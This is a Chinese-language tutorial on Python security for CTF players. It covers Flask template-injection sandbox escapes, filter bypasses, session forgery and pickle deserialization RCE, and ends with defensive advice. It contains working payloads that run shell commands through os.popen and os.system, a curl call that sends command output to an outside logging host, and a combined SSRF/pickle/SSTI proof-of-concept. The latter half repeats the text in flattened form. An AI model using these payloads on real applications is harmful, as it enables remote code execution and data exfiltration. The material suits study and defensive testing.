聊一聊我认识的Python安全
字数 1843 2025-08-15 21:34:06

Python安全攻防:沙箱逃逸与反序列化漏洞详解

0x00 前言

Python在CTF比赛和安全研究中的应用日益广泛,本文将从原理到实践,全面剖析Python沙箱逃逸和反序列化漏洞的利用技术,涵盖Python 2和Python 3的差异,以及实际CTF题目中的解决方案。

0x01 沙箱逃逸原理及利用

一、基本原理剖析

  1. Python对象模型

    • 在Python中,一切皆对象
    • 使用type()检查数据类型返回<class 'XXX'>
    • 字符串是str类的对象,整数是int类的对象等
  2. 对象属性与方法

    • 通过dir()可查看对象的成员属性和方法
    • 方法和类本身也是对象
  3. 全局命名空间

    • globals()函数获取当前可访问的变量
    • 基础类和方法存放在__builtins__模块中(Python 2为__builtin__
  4. 关键访问路径

    • 通过函数对象的__globals__属性可访问__builtins__
    • 模块与非模块下的__globals__访问方式不同
  5. 对象继承链

    • __class__获取对象所属类
    • __bases__/__base__/__mro__获取父类
    • __subclasses__()获取object的所有子类

二、Flask模板注入(SSTI)

漏洞示例代码:

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/test')
def test():
    content = request.args.get("content")
    template = '''<div>%s</div>''' % content
    return render_template_string(template)

基本利用Payload:

?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

三、常见过滤绕过技术

  1. 过滤中括号

    • 使用__getitem__方法替代
    • 示例:__globals__.__getitem__('__builtins__')
  2. 过滤引号

    • 使用request.args传递参数
    • 示例:
      ?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.x]['__import__'](request.args.y).popen(request.args.z).read()}}&x=__builtins__&y=os&z=whoami
      
  3. 过滤双下划线

    • 使用十六进制编码或字符串拼接
    • 示例:"\x5F\x5Fclass\x5F\x5F"代替__class__
  4. 过滤{{}}

    • 使用{%%}流程控制配合外带数据
    • 示例:
      ?content={% if ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('curl http://dnslog.cn/?a=`whoami`').read() %}1{% endif %}
      

四、Flask其他安全问题

  1. Session伪造攻击

    • Flask使用JWT存储session
    • 需要获取SECRET_KEY才能伪造
    • 获取方式:
      • SSTI通过{{config}}
      • 文件读取/proc/self/environ
      • 爆破
  2. DEBUG模式PIN码攻击

五、CTF题目实例分析

  1. [Flask]SSTI

    • 无过滤直接注入
    • Payload构造简单
  2. [GYCTF2020]FlaskApp

    • Base64解码处存在SSTI
    • 过滤关键字使用字符串拼接绕过
  3. [CSCCTF 2019 Qual]FlaskLight

    • 过滤__globals__使用request.args绕过
  4. [pasecactf_2019]flask_ssti

    • 过滤单引号、点、下划线
    • 使用十六进制编码绕过
  5. [PASECA2019]honey_shop

    • JWT伪造攻击
    • 通过任意文件读取获取SECRET_KEY

0x02 Python反序列化漏洞利用

一、反序列化基础

  1. R指令码RCE

    • 最直接的利用方式
    • 示例:
      import pickle, os
      
      class Exp(object):
          def __reduce__(self):
              return (os.system, ('whoami',))
      
      payload = pickle.dumps(Exp())
      
  2. c指令码变量获取

    • 当R指令被禁用时使用
    • 示例:
      import flag, pickle
      
      class Person(): pass
      
      payload = b'\x80\x03c__main__\nPerson\n)\x81}(Vtest\ncflag\nflag\nub.'
      print(pickle.loads(payload).test)  # 获取flag.flag的值
      
  3. c指令码变量修改

    • 修改模块中的变量
    • 示例:
      import flag, pickle
      
      payload = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0Va\n.'
      pickle.loads(payload)
      print(flag.flag)  # 输出被修改为"hacker"
      
  4. __setstate__特性RCE

    • 当R指令被禁用时的替代方案
    • 示例:
      import pickle
      
      payload = b'\x80\x03c__main__\nobject\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.'
      pickle.loads(payload)  # 执行dir命令
      

二、综合例题分析

题目特征:

  • SSRF + 反序列化 + SSTI
  • 禁用R指令
  • 限制只能导入__main__模块

利用链:

  1. 通过SSRF绕过IP限制
  2. 使用反序列化修改ctf_config.name
  3. 将SSTI Payload写入name变量
  4. 触发模板渲染执行代码

POC脚本:

import base64

ssti = b"[].__class__.__base__.__subclasses__()[81].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()"
payload = b'\x80\x03c__main__\nctf_config\n}(Vname\nV{{' + ssti + b'}}\nub0V123\n.'
payload = base64.b64encode(payload).decode('utf-8')
print(payload)

0x03 防御建议

  1. 针对SSTI

    • 避免使用render_template_string
    • 对用户输入严格过滤
    • 使用安全的模板引擎
  2. 针对反序列化

    • 避免反序列化不可信数据
    • 使用RestrictedUnpickler限制可导入的模块
    • 检查并过滤危险操作码
  3. Session安全

    • 保护SECRET_KEY
    • 考虑使用更安全的session存储方式
  4. 其他

    • 生产环境关闭DEBUG模式
    • 实施最小权限原则

0x04 总结

本文系统性地介绍了Python安全中的两大核心漏洞类型:沙箱逃逸和反序列化。从基本原理到实际利用,从简单案例到复杂场景,涵盖了Python 2和Python 3的差异,以及各种过滤绕过技术。通过深入理解这些技术原理,安全研究人员可以更好地发现和防御相关漏洞,CTF选手也能更有效地解决相关题目。

Python安全攻防:沙箱逃逸与反序列化漏洞详解 0x00 前言 Python在CTF比赛和安全研究中的应用日益广泛,本文将从原理到实践,全面剖析Python沙箱逃逸和反序列化漏洞的利用技术,涵盖Python 2和Python 3的差异,以及实际CTF题目中的解决方案。 0x01 沙箱逃逸原理及利用 一、基本原理剖析 Python对象模型 在Python中,一切皆对象 使用 type() 检查数据类型返回 <class 'XXX'> 字符串是 str 类的对象,整数是 int 类的对象等 对象属性与方法 通过 dir() 可查看对象的成员属性和方法 方法和类本身也是对象 全局命名空间 globals() 函数获取当前可访问的变量 基础类和方法存放在 __builtins__ 模块中(Python 2为 __builtin__ ) 关键访问路径 通过函数对象的 __globals__ 属性可访问 __builtins__ 模块与非模块下的 __globals__ 访问方式不同 对象继承链 __class__ 获取对象所属类 __bases__ / __base__ / __mro__ 获取父类 __subclasses__() 获取object的所有子类 二、Flask模板注入(SSTI) 漏洞示例代码: 基本利用Payload: 三、常见过滤绕过技术 过滤中括号 使用 __getitem__ 方法替代 示例: __globals__.__getitem__('__builtins__') 过滤引号 使用request.args传递参数 示例: 过滤双下划线 使用十六进制编码或字符串拼接 示例: "\x5F\x5Fclass\x5F\x5F" 代替 __class__ 过滤{{}} 使用 {%%} 流程控制配合外带数据 示例: 四、Flask其他安全问题 Session伪造攻击 Flask使用JWT存储session 需要获取 SECRET_KEY 才能伪造 获取方式: SSTI通过 {{config}} 文件读取 /proc/self/environ 爆破 DEBUG模式PIN码攻击 需要任意文件读取+DEBUG模式 参考: Flask Debug PIN码漏洞 五、CTF题目实例分析 [ Flask]SSTI 无过滤直接注入 Payload构造简单 [ GYCTF2020]FlaskApp Base64解码处存在SSTI 过滤关键字使用字符串拼接绕过 [ CSCCTF 2019 Qual]FlaskLight 过滤 __globals__ 使用request.args绕过 [ pasecactf_ 2019]flask_ ssti 过滤单引号、点、下划线 使用十六进制编码绕过 [ PASECA2019]honey_ shop JWT伪造攻击 通过任意文件读取获取 SECRET_KEY 0x02 Python反序列化漏洞利用 一、反序列化基础 R指令码RCE 最直接的利用方式 示例: c指令码变量获取 当R指令被禁用时使用 示例: c指令码变量修改 修改模块中的变量 示例: __setstate__ 特性RCE 当R指令被禁用时的替代方案 示例: 二、综合例题分析 题目特征: SSRF + 反序列化 + SSTI 禁用R指令 限制只能导入 __main__ 模块 利用链: 通过SSRF绕过IP限制 使用反序列化修改 ctf_config.name 将SSTI Payload写入name变量 触发模板渲染执行代码 POC脚本: 0x03 防御建议 针对SSTI 避免使用 render_template_string 对用户输入严格过滤 使用安全的模板引擎 针对反序列化 避免反序列化不可信数据 使用 RestrictedUnpickler 限制可导入的模块 检查并过滤危险操作码 Session安全 保护 SECRET_KEY 考虑使用更安全的session存储方式 其他 生产环境关闭DEBUG模式 实施最小权限原则 0x04 总结 本文系统性地介绍了Python安全中的两大核心漏洞类型:沙箱逃逸和反序列化。从基本原理到实际利用,从简单案例到复杂场景,涵盖了Python 2和Python 3的差异,以及各种过滤绕过技术。通过深入理解这些技术原理,安全研究人员可以更好地发现和防御相关漏洞,CTF选手也能更有效地解决相关题目。